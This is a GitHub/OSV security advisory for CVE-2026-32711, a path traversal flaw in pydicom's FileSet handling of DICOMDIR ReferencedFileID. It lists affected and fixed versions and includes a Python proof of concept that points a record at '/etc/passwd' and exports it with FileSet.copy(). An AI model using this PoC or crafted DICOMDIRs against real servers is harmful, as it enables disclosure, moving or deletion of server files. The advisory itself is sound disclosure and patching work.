CVE-2026-32711: Pydicom Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v856-2rf8-9f28",
  "modified" : "2026-03-20T15:57:01Z",
  "published" : "2026-03-20T15:57:01Z",
  "aliases" : [ "CVE-2026-32711" ],
  "summary" : "pydicom has a path traversal in FileSet/DICOMDIR ReferencedFileID allows file access outside the File-set root",
  "details" : "### Summary\nA crafted `DICOMDIR` can set `ReferencedFileID` to a path outside the File-set root. `pydicom` resolves the path only to confirm that it exists, but does not verify that the resolved path remains under the File-set root. Subsequent public `FileSet` operations such as `copy()`, `write()`, and `remove()+write(use_existing=True)` use that unchecked path in file I/O operations. This allows arbitrary file read/copy and, in some flows, move/delete outside the File-set root.\n\n### Details\nVerified on `pydicom 3.1.0.dev0`.\n\nRelevant logic is in `src/pydicom/fileset.py`:\n\n- `RecordNode._file_id` converts `ReferencedFileID` directly to `Path(...)`\n- `FileSet.load()` checks only `(root / file_id).resolve(strict=True)` to confirm existence\n- `FileSet.load()` does not verify that the final resolved path is contained within the File-set root\n- `FileInstance.path` returns `self.file_set.path / self.node._file_id`\n- `FileSet.copy()` uses `shutil.copyfile(instance.path, dst)`\n- `FileSet.write()` uses `Path(instance.path).unlink()` and `shutil.move(...)`\n\nBecause there is no containment check such as `resolved.relative_to(root.resolve(strict=True))`, a malicious `DICOMDIR` can reference:\n\n- absolute paths such as `/etc/passwd`\n- traversal paths such as `../...`\n- syntactically conformant file IDs that escape via symlinks\n\nThis is not limited to obviously invalid VR input. Even when `pydicom` emits warnings for invalid `ReferencedFileID` values, the operation is not blocked. I also confirmed a symlink-based variant using a conformant file ID.\n\nA realistic server-side scenario is:\n\n1. a user uploads a DICOM File-set zip\n2. the server loads the uploaded `DICOMDIR` using `FileSet`\n3. the server re-exports or reorganizes the File-set using `FileSet.copy()` or `FileSet.write()`\n4. a server-local file referenced by the malicious `DICOMDIR` is included in the exported result\n\n### PoC\nMinimal reproduction:\n\n1. Copy a sample File-set that contains a valid `DICOMDIR`\n2. Modify one `DirectoryRecordSequence` item so that `ReferencedFileID = \"/etc/passwd\"` (or `/tmp/secret.txt`)\n3. Load it with `FileSet(ds)` or `FileSet(path_to_dicomdir)`\n4. Call `FileSet.copy(new_root)`\n5. Observe that the exported File-set contains the contents of the referenced external file\n\nExample:\n\n```python\nfrom pathlib import Path\nfrom tempfile import mkdtemp\nimport shutil\nfrom pydicom import dcmread\nfrom pydicom.fileset import FileSet\n\nbase = Path(\"src/pydicom/data/test_files/dicomdirtests\")\nroot = Path(mkdtemp(prefix=\"fsroot_\"))\nout = Path(mkdtemp(prefix=\"fsout_\"))\n\nshutil.copy2(base / \"DICOMDIR\", root / \"DICOMDIR\")\nfor d in (\"77654033\", \"98892003\", \"98892001\"):\n    shutil.copytree(base / d, root / d)\n\nds = dcmread(root / \"DICOMDIR\")\nitem = next(x for x in ds.DirectoryRecordSequence if \"ReferencedFileID\" in x)\nitem.ReferencedFileID = \"/etc/passwd\"\n\nfs = FileSet(ds)\nfs.copy(out)\n```\n\nI also verified the issue in a simple web import/export demo where an uploaded malicious File-set caused /etc/passwd to be copied into the exported result.\n\nIf useful, I can provide the exact malicious sample and the demo environment separately.\n\n### Impact\nThis is a path traversal / root containment bypass in FileSet handling.\n\nObserved impact:\n\narbitrary file read/copy outside the File-set root via FileSet.copy()\narbitrary file move outside the File-set root via FileSet.write()\narbitrary file delete outside the File-set root via FileSet.remove(...); write(use_existing=True)\nAffected applications are those that accept untrusted DICOMDIR / File-set input and then call public FileSet workflows such as load(), copy(), write(), or remove().\n\nA realistic impact is server-side file disclosure in import/export workflows.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pydicom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.0.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.1"
    }
  }, {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pydicom"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.4.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pydicom/pydicom/security/advisories/GHSA-v856-2rf8-9f28"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32711"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pydicom/pydicom/commit/6414f01a053dff925578799f5a7208d2ae585e82"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pydicom/pydicom"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pydicom/pydicom/releases/tag/v3.0.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T15:57:01Z",
    "nvd_published_at" : "2026-03-20T02:16:33Z"
  }
}